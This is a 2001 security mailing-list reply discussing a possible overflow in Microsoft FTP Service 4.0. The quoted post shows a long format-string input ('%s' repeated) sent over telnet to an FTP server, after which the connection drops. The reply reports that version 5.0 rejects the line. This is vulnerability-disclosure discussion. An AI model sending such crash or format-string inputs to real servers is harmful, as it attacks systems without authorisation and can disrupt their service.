Re: Microsoft FTP service 4.0 ( Overflow? )

[SMILER <smiler () PTHOST COM>]

In version 5.0 u get the answer : "sorry, input line too long".
I hadn´t got the chance of testing it in 4.0 yet.

smiler.

----- Original Message -----
From: "Guile cool" <guilecool () HOTMAIL COM>
To: <VULN-DEV () SECURITYFOCUS COM>
Sent: Monday, March 19, 2001 10:13 AM
Subject: Microsoft FTP service 4.0 ( Overflow? )


> I just did :
> telnet www.sux.com 21
> CONNECTED
> Microsoft FTP service 4.0
%s%s%s%S%s%s%s%s%s%s%s%s%s%s%s%s%s%s%S%s%s%s%s%s%s%s%s%s%s%%s%s%s%S%s%s%s%s%
s%s%s%s%s%s%%s%s%s%S%s%s%s%s%s%s%s%s%s%s%%s%s%s%S%s%s%s%s%s%s%s%s%s%s%%s%s%s
%S%s%s%s%s%s%s%s%s%s%s%%s%s%s%S%s%s%s%s%s%s%s%s%s%s%%s%s%s%S%s%s%s%s%s%s%s%s
%s%s%%s%s%s%S%s%s%s%s%s%s%s%s%s%s%%s%s%s%S%s%s%s%s%s%s%s%s%s%s%%s%s%s%S%s%s%
s%s%s%s%s%s%s%s%%s%s%s%S%s%s%s%s%s%s%s%s%s%s%%s%s%s%S%s%s%s%s%s%s%s%s%s%s%%s
%s%s%S%s%s%s%s%s%s%s%s%s%s%%s%s%s%S%s%s%s%s%s%s%s%s%s%s%%s%s%s%S%s%s%s%s%s%s
%s%s%s%s%%s%s%s%S%s%s%s%s%s%s%s%s%s%s%%s%s%s%S%s%s%s%s%s%s%s%s%s%s%%s%s%s%S%
s%s%s%s%s%s%s%s%s%s%%s%s%s%S%s%s%s%s%s%s%s%s%s%s%%s%s%s%S%s%s%s%s%s%s%s%s%s%
s%%s%s%s%S%s%s%s%s%s%s%s%s%s%s%%s%s%s%S%s%s%s%s%s%s%s%s%s%s%%s%s%s%S%s%s%s%s
%s%s%s%s%s%s%%s%s%s%S%s%s%s%s%s%s%s%s%s%s%%s%s%s%S%s%s%s%s%s%s%s%s%s%s%
> Connection closed by foreign host.
> What do u think about it?
> Bye :>
> _________________________________________________________________________
> Get Your Private, Free E-mail from MSN Hotmail at http://www.hotmail.com.